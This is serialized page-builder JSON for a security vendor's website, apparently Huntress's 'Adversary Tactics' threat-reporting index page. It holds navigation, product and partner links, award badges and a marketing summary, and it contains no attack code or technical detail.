",{"_47":760,"_39":763,"_151":32,"_37":761,"_49":765},"/why-huntress/community",{"_117":118,"_119":430,"_121":767,"_126":118},{"_125":32},{},{},{"_45":-5},{"_17":118,"_19":772,"_21":773,"_43":306},"Comparisons",[774],{"_17":118,"_24":25,"_141":775,"_26":782,"_103":832,"_295":32,"_31":32,"_127":831,"_299":831,"_45":837,"_33":838},{"_237":776,"_239":240,"_19":776,"_31":32,"_45":777,"_33":780,"_43":245},"Compare All",{"_47":776,"_39":778,"_49":779},"Huntress combines enterprise-grade protection with 24/7 human expertise. Don't choose between elite security and great support. Get both with Huntress.","/comparison",{"_47":781},{"_41":776},[783,789,795,801,807,813,819,825],{"_29":784},{"_31":32,"_33":785,"_43":44,"_45":786},{"_151":32,"_161":32,"_152":32},{"_47":787,"_152":32,"_151":32,"_161":32,"_49":788},"Bitdefender","/comparison/huntress-vs-bitdefender",{"_29":790},{"_31":32,"_33":791,"_43":44,"_45":792},{"_151":32,"_161":32,"_152":32},{"_47":793,"_152":32,"_151":32,"_161":32,"_49":794},"Blackpoint","/comparison/huntress-vs-blackpoint",{"_29":796},{"_31":32,"_33":797,"_43":44,"_45":798},{"_151":32,"_161":32,"_152":32},{"_47":799,"_152":32,"_151":32,"_161":32,"_49":800},"Breach Secure Now!","/comparison/huntress-vs-breach-secure-now",{"_29":802},{"_31":32,"_33":803,"_43":44,"_45":804},{"_151":32,"_161":32,"_152":32},{"_47":805,"_152":32,"_151":32,"_161":32,"_49":806},"Crowdstrike","/comparison/huntress-vs-crowdstrike",{"_29":808},{"_31":32,"_33":809,"_43":44,"_45":810},{"_151":32,"_161":32,"_152":32},{"_47":811,"_152":32,"_151":32,"_161":32,"_49":812},"Datto","/comparison/huntress-vs-datto",{"_29":814},{"_31":32,"_33":815,"_43":44,"_45":816},{"_151":32,"_161":32,"_152":32},{"_47":817,"_152":32,"_151":32,"_161":32,"_49":818},"SentinelOne","/comparison/huntress-vs-sentinelone",{"_29":820},{"_31":32,"_33":821,"_43":44,"_45":822},{"_151":32,"_161":32,"_152":32},{"_47":823,"_152":32,"_151":32,"_161":32,"_49":824},"Sophos","/comparison/huntress-vs-sophos",{"_29":826},{"_206":827,"_31":6,"_33":828,"_43":245,"_45":830},{"_41":776,"_43":240},{"_47":829,"_151":32,"_161":32,"_152":32},{"_41":776},{"_47":831,"_39":778,"_49":779},"Compare Huntress",{"_420":833,"_24":105,"_294":32,"_423":835,"_106":118},{"_123":422,"_834":422},"largeDesktop",{"_123":836,"_834":836},"4",{"_47":831,"_39":778,"_49":779},{"_47":839},{"_41":831},"reverseColumnsOnMobile",{},{"_14":843,"_923":924,"_225":916,"_840":32,"_227":228,"_45":-5},[844,872],{"_17":118,"_19":845,"_21":846,"_43":194},"Huntress Hub",[847],{"_17":118,"_24":25,"_26":848,"_183":32,"_184":32,"_299":845,"_33":869,"_45":870,"_141":871},[849],{"_29":850},{"_202":851,"_162":6,"_31":32,"_858":859,"_33":861,"_43":217,"_45":868},{"_204":205,"_447":852,"_206":853,"_210":32,"_857":852},"30%",{"_854":855,"_41":856,"_43":240},"size","small","Partner Portal Login","solidBackgroundMarginTop","smallCardProperties",{"_860":836},"linesBeforeTruncate",{"_47":862,"_37":864,"_39":865,"_138":174,"_49":867},{"_41":863},"HUNTRESS HUB","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Ff67300556acf4faf8649e87377c04fe1",{"_41":866},"

","https://hub.huntress.com/#/page/login",{"_47":863,"_39":866,"_37":864,"_49":867,"_138":174},{},{},{"_45":-5},{"_17":118,"_19":873,"_21":874,"_43":194},"Partner Related Links",[875],{"_235":32,"_24":25,"_26":876,"_103":914,"_183":6,"_31":32,"_113":915,"_127":916,"_45":917,"_33":920,"_141":922},[877,886,895,904],{"_29":878},{"_31":32,"_33":879,"_43":44,"_45":885},{"_35":880,"_47":881,"_151":32,"_161":6,"_37":882,"_39":883},"MSP Icon",{"_41":391},"https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Fc5200da826f048ec82c1928346f06609",{"_41":884},"

Join our partner community to deliver expert-led managed security.

",{"_47":391,"_39":884,"_151":32,"_37":882,"_49":394},{"_29":887},{"_31":32,"_33":888,"_43":44,"_45":894},{"_35":889,"_47":890,"_151":32,"_161":6,"_37":891,"_39":892},"Value Added Reseller Icon",{"_41":399},"https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F36e7fd5abe684d40bd8e7e19bef59473",{"_41":893},"

Partner program designed to grow your cybersecurity business.

",{"_47":399,"_39":893,"_151":32,"_37":891,"_49":402},{"_29":896},{"_31":32,"_33":897,"_43":44,"_45":902},{"_35":148,"_47":898,"_151":32,"_37":153,"_39":900},{"_41":899},"Tech Alliances",{"_41":901},"

Driving innovation through global technology Partnerships

",{"_47":899,"_39":901,"_151":32,"_37":153,"_49":903},"/partners/alliances",{"_29":905},{"_31":32,"_33":906,"_43":44,"_45":912},{"_47":907,"_151":32,"_37":909,"_39":910},{"_41":908},"Microsoft Partnership","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F4c51b19e07db4998921e15175320f9a7",{"_41":911},"

A Level-Up for Your Business Security

",{"_47":908,"_39":911,"_151":32,"_37":909,"_49":913},"/why-huntress/partnerships/huntress-and-microsoft-better-together",{},{"_115":116,"_119":120},"Partners",{"_47":916,"_383":379,"_39":918,"_49":919},"Looking to bridge the security gap? Partner with Huntress for the tools and platform you need to augment your staff and scale your technical integrations. ","/partners",{"_47":921,"_49":919},{"_378":379,"_41":916},{"_45":-5},"dropdownLayout",{"_925":422},"horizontalOffset",{"_14":927,"_225":1049,"_478":1050,"_227":228,"_45":-5},[928,958],{"_19":929,"_21":930,"_43":194},"Featured Press Release",[931],{"_24":25,"_26":932,"_103":952,"_183":32,"_113":953,"_33":955,"_45":956,"_141":957},[933],{"_29":934,"_157":945},{"_202":935,"_31":32,"_33":936,"_43":217,"_45":939},{"_204":209},{"_47":937,"_151":6,"_152":32,"_37":938},{"_566":855},"https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F066cdad82b3d45a7bac9f4cf1c4a162e",{"_47":940,"_571":855,"_152":32,"_39":941,"_942":943,"_37":938,"_49":944},"Huntress Announces Collaboration with Microsoft to Strengthen Cybersecurity for Businesses of All Sizes","Microsoft Defender for Endpoint, Defender for Business, and Defender AV, Microsoft 365 Business Premium, E3, and E5 Licenses Now Enhanced with Huntress' Market-Leading Security Products","eyebrow","Press Release","/press-release/huntress-announces-collaboration-with-microsoft-to-strengthen-cybersecurity-for-businesses-of-all-sizes",{"_202":946,"_31":32,"_33":947,"_43":663,"_858":948,"_162":-7,"_45":950},{"_204":209},{"_151":6,"_152":32},{"_860":949},"3",{"_47":940,"_152":32,"_39":941,"_942":943,"_37":951,"_49":944},"https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Fe705929d2a374186bb8f4b5a34b4b5fd?format=webp",{},{"_121":954},{"_712":32,"_125":32},{},{},{"_45":-5},{"_17":18,"_19":959,"_21":960,"_43":194},"Column 2",[961,1013],{"_24":422,"_26":962,"_103":1007,"_183":32,"_106":-5,"_113":1008,"_33":1010,"_45":1011,"_141":1012},[963,974,985,996],{"_29":964},{"_31":32,"_33":965,"_43":44,"_45":972},{"_35":966,"_47":967,"_151":32,"_37":969,"_39":970},"Our Story Icon",{"_41":968},"Our Story","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F4e65b81ddab34c63a79949f1ca1db341",{"_41":971},"

We're on a mission to shatter the barriers to enterprise-level security.

",{"_47":968,"_39":971,"_151":32,"_37":969,"_49":973},"/company/our-story",{"_29":975},{"_31":32,"_33":976,"_43":44,"_45":983},{"_35":977,"_47":978,"_151":32,"_37":980,"_39":981},"Press Icon",{"_41":979},"Newsroom","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F7170db3e023148249ff49a3b88b0de83",{"_41":982},"

Explore press releases, news articles, media interviews and more.

",{"_47":979,"_39":982,"_151":32,"_37":980,"_49":984},"/company/press",{"_29":986},{"_31":32,"_33":987,"_43":44,"_45":994},{"_35":988,"_47":989,"_151":32,"_37":991,"_39":992},"Team Icon",{"_41":990},"Meet the Team","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F424d46a865414decac2aa008bda47094",{"_41":993},"

Founded by former NSA Cyber Operators. Backed by security researchers.

",{"_47":990,"_39":993,"_151":32,"_37":991,"_49":995},"/company/leadership",{"_29":997},{"_31":32,"_33":998,"_43":44,"_45":1005},{"_35":999,"_47":1000,"_37":1002,"_39":1003},"Careers Icon",{"_41":1001},"Careers","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F8f117f73053b4dcb927c656d94560f27",{"_41":1004},"

Ready to shake up the cybersecurity world? Join the hunt.

",{"_47":1001,"_39":1004,"_37":1002,"_49":1006},"/company/careers",{"_24":105,"_106":18},{"_115":116,"_117":118,"_119":120,"_121":1009,"_126":118},{"_123":32,"_125":32},{},{},{"_45":-5},{"_24":105,"_26":1014,"_103":1043,"_183":32,"_106":187,"_113":1044,"_33":1046,"_45":1047,"_141":1048},[1015,1029],{"_29":1016,"_157":1025},{"_31":32,"_33":1017,"_43":44,"_45":1022},{"_35":1018,"_47":1019,"_151":32,"_152":32,"_37":1021},"Awards Icon",{"_41":1020},"Awards","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Fc9d1294fc830417b86d8b806efafe118",{"_47":1020,"_152":32,"_39":1023,"_151":32,"_37":1021,"_49":1024},"Don’t just take our word for it—see the awards and accolades received by Huntress. ","/company/awards-and-accolades",{"_31":32,"_33":1026,"_43":44,"_162":-7,"_45":1028},{"_47":1027,"_151":32,"_161":32,"_152":32},{"_41":1020},{"_47":1020,"_152":32,"_39":1023,"_151":32,"_161":32,"_49":1024},{"_29":1030,"_157":1039},{"_31":32,"_33":1031,"_43":44,"_45":1036},{"_35":1032,"_47":1033,"_151":32,"_152":32,"_37":1035},"Communication Icon",{"_41":1034},"Contact Us","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F2e958e7931e347119a8858f4dc258c9b",{"_47":1034,"_152":32,"_39":1037,"_151":32,"_37":1035,"_49":1038},"Want to chat with someone in sales, ask a question, or learn about one of our open roles? Contact us and we’ll get back to you as soon as we can!","/contact-us",{"_31":32,"_33":1040,"_43":44,"_162":-7,"_45":1042},{"_47":1041,"_151":32,"_161":32,"_152":32},{"_41":1034},{"_47":1034,"_152":32,"_39":1037,"_151":32,"_161":32,"_49":1038},{"_24":105,"_106":187},{"_121":1045},{"_712":32,"_125":6},{},{},{"_45":-5},"Company",{},"generalNavigationContent",{"_1053":1054,"_19":1055,"_1056":1057},"id","7c4c5fd87f0c4daaae1dc870e407e0bf","Primary","data",{"_1058":1059,"_1064":1065,"_1081":1082},"mainNavigationBar",{"_1060":1061},"logo",{"_49":304,"_35":1062,"_138":139,"_37":1063},"Huntress Logo in Teal","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Fbf879a26d9994fd8b3b0d8878c9474f4","ctas",[1066,1077],{"_1067":1068},"cta",{"_137":49,"_1069":1070,"_41":1075,"_49":219,"_43":1076,"_138":139,"_854":855},"visibility",{"_1071":32,"_1072":32,"_1073":32,"_1074":32},"hideOnTablet","hideOnDesktop","hideOnMobileLandscape","hideOnMobile","Get a Demo","outline",{"_1067":1078},{"_43":209,"_854":855,"_138":139,"_49":1079,"_137":49,"_41":1080},"/start-trial","Start for Free","utilityNavigationBar",{"_1083":1084},"message",{"_138":139,"_49":1085,"_41":1086},"/security-topics/self-fails","Don’t let overlooked obligations become incidents. Learn how.","utilityNavigationContent",[1089,1094,1098,1102],{"_1053":1090,"_19":1091,"_1056":1092},"acf951ac3c78411c93de07af387dd39c","Portal Login",{"_49":1093,"_138":174,"_41":1091,"_171":32},"https://huntress.io/",{"_1053":1095,"_19":1096,"_1056":1097},"d6f4ad9f23684304b90c2e8714f026a1","Support",{"_49":175,"_138":174,"_41":1096,"_171":32,"_172":32,"_173":32},{"_1053":1099,"_19":1100,"_1056":1101},"e77d329e44f740e19119846f979bb482","Blog",{"_49":687,"_138":139,"_41":1100},{"_1053":1103,"_19":1104,"_1056":1105},"2e817b99333e43558f80a62e15f6ca34","Contact",{"_49":1038,"_138":139,"_41":1104},"footerContent",[1108,1121,1143,1157,1171,1182],{"_1053":1109,"_19":1110,"_1056":1111},"a8fca4868d8f440489acb2b0b275d583","50 50 CTA Section",{"_1112":1113,"_134":1110,"_227":1120},"ctaSection",{"_1114":1115,"_1116":1117,"_1118":1119},"formHeading","Join the Hunt","formSummary","

Get insider access to Huntress tradecraft, killer events, and the freshest blog updates.

","leftPanelSummary","

Protecting 242k+ customers like you with enterprise-grade protection.

","50-50-content",{"_1053":1122,"_19":1123,"_1056":1124},"508d2fee7ccc4b62af82033c8240810d","Platform",{"_107":1125,"_134":1123,"_227":107},[1126,1128,1129,1132,1135,1137,1138,1140,1141,1142],{"_1127":20,"_49":131},"linkText",{"_1127":48,"_49":50},{"_1127":1130,"_49":1131},"Managed EDR for macOS","/platform/managed-edr/macos",{"_1127":1133,"_138":139,"_49":1134},"Managed EDR for Linux","/platform/managed-edr/linux",{"_1127":1136,"_49":60},"Managed ITDR",{"_1127":69,"_49":70},{"_1127":1139,"_49":80},"Managed Security Awareness Training",{"_1127":86,"_138":139,"_49":91},{"_1127":97,"_138":139,"_49":102},{"_1127":208,"_49":219},{"_1053":1144,"_19":471,"_1056":1145},"48e36f6d9651423da2291512cdde8b9e",{"_107":1146,"_134":471,"_227":107},[1147,1148,1149,1150,1151,1153,1154,1155],{"_1127":252,"_49":256},{"_1127":416,"_49":418},{"_1127":260,"_49":266},{"_1127":316,"_49":319},{"_1127":1152,"_49":326},"Finance",{"_1127":338,"_49":340},{"_1127":352,"_49":354},{"_1127":1156,"_49":333},"State & Local Government",{"_1053":1158,"_19":1159,"_1056":1160},"eaae2a88df264ce8987bc9b7803d090a","Why Huntress?",{"_107":1161,"_134":1159,"_227":107},[1162,1164,1165,1168,1170],{"_1127":1163,"_49":394},"Managed Service Providers",{"_1127":399,"_49":402},{"_1127":1166,"_49":1167},"IT & Security Teams","/why-huntress/it-security-teams",{"_1127":1169,"_49":732},"24/7 SOC",{"_1127":749,"_49":754},{"_1053":1172,"_19":242,"_1056":1173},"7c53b226c0d14e18856978d679c98b2a",{"_107":1174,"_134":242,"_227":107},[1175,1176,1178,1179,1180],{"_1127":1100,"_49":687},{"_1127":1177,"_49":244},"Resource Center",{"_1127":612,"_138":139,"_49":615},{"_1127":549,"_49":552},{"_1127":169,"_1181":32,"_138":174,"_49":175},"nofollow",{"_1053":1183,"_19":1184,"_1056":1185},"c211d3560ba74bc9a088ee63b66293ab","About",{"_107":1186,"_134":1184,"_227":107},[1187,1189,1191,1193,1194],{"_1127":1188,"_49":973},"Our Company",{"_1127":1190,"_49":995},"Leadership",{"_1127":1192,"_49":984},"News & Press",{"_1127":1001,"_49":1006},{"_1127":1034,"_49":1038},"g2Awards",[1197,1217,1234,1251],{"_1053":1198,"_19":1199,"_1056":1200},"b1ef1fa50cc44b4cb964fcd76ce27c47","Managed SAT Awards",{"_1201":1202,"_1203":1204},"category","Managed SAT","images",[1205,1208,1211,1214],{"_35":1206,"_37":1207},"Summer 2025 Momentum Leader G2 Badge","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F42018f3709904fe4acd7e043dee491c0",{"_35":1209,"_37":1210},"G2 Winter 2026 SAT Leader Small Business","https://cdn.builder.io/api/v1/assets/3eb6f92aedf74f109c7b4b0897ec39a8/g2-winter-2026-sat-leader-small-biz-badge",{"_35":1212,"_37":1213},"G2 Winter 2026 SAT Leader Badge","https://cdn.builder.io/api/v1/assets/3eb6f92aedf74f109c7b4b0897ec39a8/g2-winter-2026-sat-leader-leader-badge",{"_35":1215,"_37":1216},"G2 Winter 2026 SAT Leader Small Business Badge","https://cdn.builder.io/api/v1/assets/3eb6f92aedf74f109c7b4b0897ec39a8/g2-winter-2026-sat-leader-small-business-badge",{"_1053":1218,"_19":1219,"_1056":1220},"a15035cbedea4437bf339e54f6573731","Managed ITDR Awards",{"_1201":1136,"_1203":1221},[1222,1225,1228,1231],{"_35":1223,"_37":1224},"G2 Winter 2026 EDR Leader Badge","https://cdn.builder.io/api/v1/assets/3eb6f92aedf74f109c7b4b0897ec39a8/g2-winter-2026-edr-leader-leader",{"_35":1226,"_37":1227},"G2 Winter 2026 ITDR Best Est. ROI Badge","https://cdn.builder.io/api/v1/assets/3eb6f92aedf74f109c7b4b0897ec39a8/g2-winter-2026-itdr-best-est-roi-badge",{"_35":1229,"_37":1230},"G2 Winter 2026 ITDR High Performer Badge","https://cdn.builder.io/api/v1/assets/3eb6f92aedf74f109c7b4b0897ec39a8/g2-winter-2026-itdr-high-performer-badge",{"_35":1232,"_37":1233},"G2 Winter 2026 ITDR Best Relationship Badge","https://cdn.builder.io/api/v1/assets/3eb6f92aedf74f109c7b4b0897ec39a8/g2-winter-2026-itdr-best-relationship-badge",{"_1053":1235,"_19":1236,"_1056":1237},"f4f2c8064b7e4e92b01a3c95a41dde18","Managed EDR Awards",{"_1201":48,"_1203":1238},[1239,1242,1245,1248],{"_35":1240,"_37":1241},"G2 Winter 2026 Managed EDR Leader Leader Badge","https://cdn.builder.io/api/v1/assets/3eb6f92aedf74f109c7b4b0897ec39a8/g2-winter-2026-managed-edr-leader-leader-badge",{"_35":1243,"_37":1244},"G2 Best Results Badge 2026","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Ff55fe62d2e61497a932a8ba1a4dab4e6",{"_35":1246,"_37":1247},"G2 Winter 2026 EDR High Performer Enterprise Badge","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F8e2debd802124e3aa94e5369538a987c",{"_35":1249,"_37":1250},"G2 Best Relationship Enterprise Badge","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F9a99187dff4d4dcc8ae73fe342ae0e90",{"_1053":1252,"_19":1253,"_1056":1254},"9b043f11647d490c8780d9136cf88b34","Default G2 Awards",{"_1203":1255,"_1201":194},[1256,1259,1262,1265],{"_35":1257,"_37":1258},"Summer 2025 Grid Leader G2 Badge","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Fa89433591dea43aea06993ea9a932bc0",{"_35":1260,"_37":1261},"Summer 2025 Best Results G2 Badge","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F9bc7e0583c1e4f8a8c9a95d8a9eb0136",{"_37":1263,"_35":1264},"https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Fec99ed68cdf14c32991363ad838df7df","Summer 2025 High Performer G2 Badge",{"_35":1266,"_37":1267},"Summer 2025 Best Support Enterprise G2 Badge","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F86c5949a7494413f90457a01724a5554","assetTypes",[1270,1273,1276,1279,1282,1285,1288,1291,1294,1297],{"_1053":1271,"_19":1272},"32a84769b6034b46858d0522418934d4","Checklist",{"_1053":1274,"_19":1275},"65f3299e49a461b4b9c72e3c","Datasheet",{"_1053":1277,"_19":1278},"65f3299e49a461b4b9c72e3a","Ebook",{"_1053":1280,"_19":1281},"65f3299e49a461b4b9c72e3e","Handbook",{"_1053":1283,"_19":1284},"cec58da7fbc24a4e89cc0448374ffda9","Infographic",{"_1053":1286,"_19":1287},"65f3299e49a461b4b9c72e39","On-Demand Webinar",{"_1053":1289,"_19":1290},"65f3299e49a461b4b9c72e38","Report",{"_1053":1292,"_19":1293},"65f3299e49a461b4b9c72e40","Success Kit",{"_1053":1295,"_19":1296},"65f3299e49a461b4b9c72e3d","Video",{"_1053":1298,"_19":1299},"65f3299e49a461b4b9c72e3b","Whitepaper","hubspotEnrichData","clientRequestInfo",{"_1303":1304,"_1305":1306,"_1307":-5},"ipAddress","216.73.216.150","trafficType","unknown_bot","botName","optimizelyVariations",{},"routes/$",{"_1312":1313,"_1706":1707,"_1708":1709,"_3301":-5,"_3302":6,"_3303":3304},"page",{"_1056":1314,"_1053":1690,"_1691":1692,"_19":1346,"_1693":1693,"_1688":1694,"_1702":6,"_1703":118,"_1704":1705},{"_1315":1316,"_1317":1318,"_1319":1320,"_1331":1332,"_1333":1334,"_1335":1336,"_1337":1338,"_1339":1340,"_1341":1342,"_1343":6,"_1344":32,"_1345":422,"_134":1346,"_1347":1348,"_49":1678,"_1679":1680},"backgroundColor","var(--black, #000)","banner",{},"contextData",[1321],{"_1056":1322},{"_1323":1324,"_1325":1326,"_1327":1328,"_1329":1330},"fields","id,name,data","identifier","adversary tactics","model","adversary-tactics","paging","all","eventDetails",{},"indexOverrides",{},"jsonLd",{},"referenceDataModel","resource-guides.articles","resourceDetails",{},"secondaryNav",{},"showBanner","sitemapIndexing","template","Adversary Tactics Index","blocks",[1349,1569,1612,1658],{"_1350":1351,"_1352":18,"_1053":1353,"_1354":1355,"_1556":1557},"@type","@builder.io/sdk:Element","@version","builder-7641bffd24334ff8a6f2533ae53b315b","component",{"_19":1356,"_1357":1358,"_1535":-5},"Base:Hero","options",{"_1359":1360,"_1371":1372,"_1390":6,"_1391":1392,"_47":1393,"_1394":1395,"_1429":32,"_1430":1431,"_1432":6,"_1064":1433,"_1438":6,"_1439":1440,"_1443":6,"_1444":1445,"_1492":1493,"_1519":1520,"_1525":1526,"_1528":1529,"_1536":1537,"_1544":1545,"_1550":1551},"breadcrumb",{"_1361":32,"_1362":1363},"showBreadcrumbs","breadcrumbs",[1364,1368,1369],{"_1365":1366,"_1367":304},"levelText","Home","levelLinkUrl",{"_1365":628,"_1367":631},{"_1365":1370,"_1367":422},"Adversary Tactics","mediaGlowOptions",{"_1373":1374,"_1375":1376,"_1384":1374,"_1385":1386,"_1388":1389},"desktopMediaGlow","show-glow","desktopMediaGlowOptions",{"_37":1377,"_1378":32,"_1379":6,"_1380":1381,"_1382":1383},"https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F28025cf38a014e3aa8fe01dd80ea812b","presentation","zoomable","fetchPriority","high","loading","eager","tabletMediaGlow","tabletMediaGlowOptions",{"_37":1387,"_1378":32,"_1379":6,"_1380":1381,"_1382":1383},"https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F14a15009b07f43378ae7125650667174","mobileMediaGlow","use-tablet-glow","showHeadingQualifier","headingQualifier","Featured Case Study","

Adversary Tactics: Threat View of the Month

","wordRotator",{"_1396":6,"_1397":1398},"enableWordRotator","wordRotatorOptions",{"_1399":1400,"_1423":1424},"words",[1401,1405,1407,1409,1411,1413,1415,1417,1419,1421],{"_41":1402,"_1403":1404},"Enterprise","duration",2000,{"_41":1406,"_1403":1404},"Endpoints",{"_41":1408,"_1403":1404},"Future",{"_41":1410,"_1403":1404},"Profits",{"_41":1412,"_1403":1404},"Business",{"_41":1414,"_1403":1404},"Identities",{"_41":1416,"_1403":1404},"Organization",{"_41":1418,"_1403":1404},"People",{"_41":1420,"_1403":1404},"Data",{"_41":1422,"_1403":1404},"Peace of Mind","animationSpeed",{"_1425":1426,"_1427":1428},"backspace",50,"typing",150,"showSummary","summary","

The monthly Adversary Tactics Threat View is your direct line to front-line telemetry we’re seeing at Huntress. We don't just report on threats: we dissect the tradecraft used to target your business. Stop playing catch-up with the latest TTPs and start shattering the adversary’s path to profitability. Be safe. Be vigilant. But first, stay informed.

","showCTAs",[1434,1437],{"_41":1080,"_49":1079,"_1435":139,"_43":209,"_854":1436},"ctaTarget","large",{"_41":1075,"_49":219,"_1435":139,"_43":1076,"_854":1436},"showCtaQualifier","ctaQualifierOptions",{"_1441":1442},"ctaQualifierText","Fully Functional Trial
No Credit Card Required","showSummarizeWithAi","mediaContent",{"_194":1446,"_1468":1469,"_1470":1471,"_125":1469,"_1476":1477,"_1482":6,"_1483":1484,"_1485":6,"_1486":6,"_1487":6,"_1488":1489,"_1490":187,"_1491":1448},{"_1447":1448,"_1449":1450,"_1452":1453,"_1459":1460,"_1464":1465},"mediaContentType","none","imageOptions",{"_37":1451,"_1378":6,"_1379":6,"_1380":1381,"_1382":1383},"https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F11ab66c9ece240ffb779043de770f2bc","videoPlayerOptions",{"_1454":1455,"_1456":1457,"_1458":6},"poster","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F0a63940a9c034bbfb89f60eed7a973a2","video","https://cdn.builder.io/o/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Ff20e34a1818345448a7ca0bf9ac8944c?alt=media&token=65325cff-7267-4865-8a48-45d74530d5d9&apiKey=3eb6f92aedf74f109c7b4b0897ec39a8&optimized=true","autoPlay","wistiaPlayerOptions",{"_1461":1462,"_1454":1463},"wistiaId","od2hso47z4","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F233fea1218104f50ae2d579a9874185a","storylaneOptions",{"_1466":1467},"storylaneId","ydcsbfybwjde","tablet","use-default-options","tabletMediaContentOptions",{"_1447":37,"_1449":1472,"_1452":1473,"_1459":1474,"_1464":1475},{"_37":1451,"_1378":6,"_1379":6,"_1380":1381,"_1382":1383},{"_1454":1455,"_1456":1457,"_1458":6},{"_1461":1462,"_1454":1463},{"_1466":1467},"mobileMediaContentOptions",{"_1447":37,"_1449":1478,"_1452":1479,"_1459":1480,"_1464":1481},{"_37":1451,"_1378":6,"_1379":6,"_1380":1381,"_1382":1383},{"_1454":1455,"_1456":1457,"_1458":6},{"_1461":1462,"_1454":1463},{"_1466":1467},"overflowMedia","copyMediaSplitPercentage","split-70-30","reverseOrderWhenStacked","reverseOrderOnDesktop","stackOnDesktop","copyMediaAlignment","content-start","contentMediaGap","previousMediaContentType","glitches",[1494,1508],{"_37":1495,"_1496":1497},"https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Ffe29eb38b03541f3b6419461e8c56719","displayOn",{"_123":32,"_1498":1499},"desktopDisplayOptions",{"_1500":1501,"_1502":1503},"width",250,"position",{"_1504":1505,"_1506":1507},"right","0","bottom","15%",{"_37":1509,"_1496":1510},"https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F134745e8b573443683ff217da8fe9080",{"_123":6,"_1468":32,"_1511":1512,"_125":32,"_1516":1517},"tabletDisplayOptions",{"_1500":1428,"_1513":32,"_1502":1514},"displayBehindContent",{"_1504":1505,"_1515":1505},"top","mobileDisplayOptions",{"_1500":1428,"_1513":32,"_1502":1518},{"_1504":1505,"_1515":1505},"tagNames",{"_1521":1522,"_1523":1524},"qualifierTagName","div","headingTagName","h1","justifyContentCopy",{"_123":1527,"_1468":1527,"_125":1527},"left","formBlock",[1530],{"_1350":1351,"_1352":18,"_1053":1531,"_1354":1532},"builder-d99c686ce4864cccbd9bd1cb72110ba9",{"_19":1533,"_1357":1534,"_1535":-5},"Form:Dynamic",{},"isRSC","desktopBlocks",[1538],{"_1350":1351,"_1352":18,"_1053":1539,"_1354":1540},"builder-1ba26f4b9d4e4c8b95531b2ab78b5fc7",{"_19":1541,"_1357":1542,"_1535":-5},"Text",{"_41":1543},"

Huntress Managed ITDR

","tabletBlocks",[1546],{"_1350":1351,"_1352":18,"_1053":1547,"_1354":1548},"builder-7851d349a30244b0b4778e84c2659d6b",{"_19":1541,"_1357":1549,"_1535":-5},{"_41":1543},"mobileBlocks",[1552],{"_1350":1351,"_1352":18,"_1053":1553,"_1354":1554},"builder-8d2c30a1e70f4f1892ce6d4b0b7ece6b",{"_19":1541,"_1357":1555,"_1535":-5},{"_41":1543},"responsiveStyles",{"_1436":1558},{"_1559":1560,"_1561":25,"_1502":1562,"_1563":1505,"_1564":1565,"_1566":1567,"_1568":1567},"display","flex","flexDirection","relative","flexShrink","boxSizing","border-box","marginTop","60px","marginBottom",{"_1350":1351,"_1352":18,"_1053":1570,"_1354":1571,"_1556":1607},"builder-fac7e60bf8c5409b8b84a6fb0bf55211",{"_19":1572,"_1357":1573,"_1535":-5},"SolutionsIndexGridSection",{"_1574":6,"_1575":6,"_1576":1577,"_1492":1594,"_1605":32,"_1606":1326},"hidePageDescriptions","enableContentTagFiltering","paginationOptions",{"_14":1578,"_1579":425,"_420":1580,"_423":1580,"_1581":1582,"_1583":1582,"_1584":1585,"_1586":6,"_1587":1588,"_1589":1590,"_1591":1592,"_1593":6},{"_123":425,"_1468":18,"_125":118},"rows",20,"itemAlign","stretch","itemJustify","emptyStateMessage","No items 